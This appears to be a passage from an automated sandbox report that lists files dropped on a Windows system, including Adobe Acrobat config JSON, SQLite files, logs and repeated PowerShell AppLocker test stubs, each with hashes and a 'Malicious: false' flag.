Encrypted:	false
SSDEEP:	6:YEQXJ2HXshU1TWp2UXjb24kF0YgzKoAvJfshHHrPeUkwRe9:YvXKXw0yp2UTbdB5GUUUkee9
MD5:	6102E2E29733234FF89BB36CC6D8C273
SHA1:	9536F54A9740A5BBA0E44CF30975A49262E33D3F
SHA-256:	E32E798524E3DB63917CD2C7513CD0491D7E53B68B60CF6CC431EB9E7AF684C3
SHA-512:	8C9B72DDB00B8A250A0790D6DA53ABF756EBDFA2680D7294ECC9933FB586CC3D9390EF5BEAAF1ECDD56F4E55A190FC7B06ACB20699780C5E9A725605483F38DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	5.355078456909588
Encrypted:	false
SSDEEP:	12:YvXKXw0yp2UTbdB5GTq16Ukee1+3CEJ1KXd15kcyKMQo7P70c0WM6ZB/uhWq:Yv6XzUXvV168CgEXX5kcIfANhj
MD5:	A81C0402ADA6DA0D0CF714C40BF6D2E7
SHA1:	2BBAF9BC8CE9EAD7D9F4F6F51DC845E65DC3C6BE
SHA-256:	7812CA877ED34527020AA8F831A5A1AE66328034B9B673D52598CD68127D94D6
SHA-512:	90E29B16B639BFF3D38C6AD5F1F064FF82B342D1A825F3FF96561763E24535845D15B38C2AB4EC674224AD4BA0C910838157103A9385BACAE9CFFAD216A5C53F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e0369e68-fe2a-4301-a13d-396931549681","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1727438968018,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"Edit_InApp_Aug2020"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"20360_57769ActionBlock_0","campaignId":20360,"containerId":"1","controlGroupId":"","treatmentId":"3c07988a-9c54-409d-9d06-53885c9f21ec","variationId":"57769"},"containerId":1,"containerLabel":"JSON for switching in-app test","content":{"data":"eyJ1cHNlbGxleHBlcmltZW50Ijp7InRlc3RpZCI6IjEiLCJjb2hvcnQiOiJicm93c2VyIn19","dataType":"application\/json","encodingScheme":true},"endDTS":1735804679000,"startDTS":1727260588047}}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2818
Entropy (8bit):	5.132886733529018
Encrypted:	false
SSDEEP:	24:YUc1Va6aywSs1J9tcCasAEoSXLiWYUp4+jjyj0SyHQa2U2LScE/55sld9M87ou/j:YeSs1fK7shoQ2WYkHwobFaE/5Kld9M6
MD5:	50563D0D63BB6AA9038C7ED3524BE1D4
SHA1:	1289ABCB8E6D13D50AED5E3C7503F8B4A54268C8
SHA-256:	DED27C357373977DD83F1D4B863DDFCBAA89559D91E8575C155D0ED64639B1F3
SHA-512:	D498320035B90BED076ADC6D1ADBC86DEE4B1F9FD6B95BDE3CF6AD3BB0D557DDF609FEAC01199752FC6469C2F6D2EED3BFF04EA3ADD3FAC4EF7F152229C1B09D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d6f84d81be08444baa6478f956fe4a07","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1050,"ts":1727260587000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"22071065dc4c3965c7db80dac1a4e87f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":1164,"ts":1727260587000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"13d075318190c5772a8f27bc73fafb14","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1058,"ts":1727260587000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"282e7187f66b273d85797ceb3948164e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1063,"ts":1727260587000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"ed651e1b4fb80968729482126336abba","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":1038,"ts":1727260587000},{"id":"Edit_InApp_Aug2020","info":{"dg":"8a73bc2c9a72fbf3bb5bb191eba13b89","sid":"Edit_InApp_Aug2020"},"mimeType":"file","size":782,"ts":17

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3206461591111944
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YFh+EXSqXlO:TGufl2GL7msUKB0M0+Tb608YFsrdz
MD5:	26C8F952F3F3547028E0330C36BCB169
SHA1:	CA535BBF74505A16C4794681B6E557047366B510
SHA-256:	96DB14F18A1BC403D0D79B4B935899B7AFD065B13A2D96D5D68AD71BB9E86C88
SHA-512:	633349A5A3EF29EB861CA9EEE9F81659AC0C09BEE0F075AE0F8FFFFE5B734508725FD81274ACF5F52612519A9634D19EF41516A4C3FDE3F1BBD7B8BBF384CD62
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.777374090687928
Encrypted:	false
SSDEEP:	24:7+tol3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YFh/EXSqXlyGKai9qLhx/XYKQvj:7MGKB0M0+Tb608YFBrGKJqFl2GL7msE
MD5:	1EECBE6F2AD7E332E84393C4F0792C40
SHA1:	F457F517C4CFAACF4956ABDDF81486687AE3014A
SHA-256:	A2B95CF0FEBBE40C5C2F06AE115E798CEC7E496F2DED876CE0B0837A75596B41
SHA-512:	2BAA026DFA49F7B6CB8DC8045CF8F015D87F676B90EA7CA8F4D738222FB2CD016C109AD26A706F1B0879780548E78FCE7841F804B395E5A4C6B22541C31C9814
Malicious:	false
Preview:	.... .c.....THt...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CasPol.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.363435887027673
Encrypted:	false
SSDEEP:	6:Q3La/xwcz92W+P12MUAvvr3tDLIP12MUAvvR+uTL2ql2ABgTv:Q3La/hz92n4M9tDLI4MWuPTAv
MD5:	A92E44C0313DAFEC1988D0D379E41A2F
SHA1:	C2F5644C418A81C1FB40F74298FF39D1420BFAC0
SHA-256:	F3F3E681BE07C36042639B1679ACF8B2D23BE037713D5E395C48006840DBE77A
SHA-512:	4F32FE6F35FC6EB4D4CF41EDEDE3C6B3FDFE31E58DA6FC7B301B1EBD3FBEEE64681C928B45E87CD556A1D32D32CB5932764EAB22FFEE11E42B8D5EB0DCFDC22C
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\MSI131a7.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5406586576927443
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8ypw:Qw946cPbiOxDlbYnuRKda
MD5:	79490AF7E6A8F38C073C5C9C707E5F7B
SHA1:	FF2CA2EDDDC982A745FA2866E301060FBF581FF5
SHA-256:	6CC398B03551FA2D5CA234F2D2BA8435DD478ADA5C11F465CB5AEC21A17D5CC1
SHA-512:	E9D17CA8ED54C0659777C34048D80F3BFFB0895E3104840FA27BF64C5C10DFF26287ECEB7E57F2FCA0904C2A27ABBC635F641380DD2875DDBC03A1AAEA9E41EC
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .2.5./.0.9./.2.0.2.4. . .0.6.:.3.6.:.2.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0mmafd3r.geb.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13ghpsd0.oxy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13l01yib.may.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1lswtshj.igo.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1omnke05.kff.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_22jhlxbo.bus.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2cbfgsev.x2e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3gk12rlt.j4o.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3iztureu.lt2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3sd255tm.mvz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3upcrvko.dyi.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_41o3pwl3.fne.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_435004lx.ivc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4bgmpf34.wox.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4eq3vw0d.4pe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4nxfpexn.c4b.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5edoxzd4.prv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aqvykjtw.gic.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_axojubg2.ote.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bgpk1s42.pnq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fa1mv0yc.scl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fhmymu0d.jpt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
